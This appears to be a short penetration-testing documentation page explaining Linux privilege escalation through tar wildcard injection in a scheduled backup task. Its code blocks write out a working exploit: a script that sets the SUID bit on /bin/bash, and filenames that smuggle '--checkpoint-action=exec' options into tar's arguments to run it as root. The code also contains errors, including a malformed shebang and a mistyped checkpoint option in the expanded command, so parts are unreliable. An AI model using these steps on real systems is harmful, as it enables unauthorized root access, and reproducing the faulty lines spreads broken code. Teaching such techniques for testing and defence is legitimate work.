> For the complete documentation index, see [llms.txt](https://docs.particle42.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.particle42.com/linux/linux-pe/tasks-with-wildcard.md).

# Tasks with Wildcard

One of the mistakes that users may make is the addition of wildcard to a scheduled task command. Say for example when the user wants to zip the entire contents of a folder periodically, the user may add a \* to the end of the command to include all the files that are dropped into that folder. The task scheduler command may look like this,&#x20;

```
tar -zcf backup.tar.gz *
```

Now this can be problematic since when this command is executed the file names within the directory are substituted within the command and if a filename is structure like a command, then it gets executed along with this tar command.&#x20;

Let us add files to the directory that appear like a command that modifies the SUID of the bash,

```
echo '#/!bin/bash' > shell.sh
echo 'chmod +s /bin/bash' >> shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
```

This will create 3 files within the directory of which 2 filenames are basically commands that transform the tar command. So when the tar command executes finally, the command appears like this,

```
tar -zcf backup.tar.gz --checkpoint=1 --checkpoint=action=exec=sh shell.sh
```

After the scheduled task gets executed, the SUID of bash gets modified allowing the user to gain root shell.
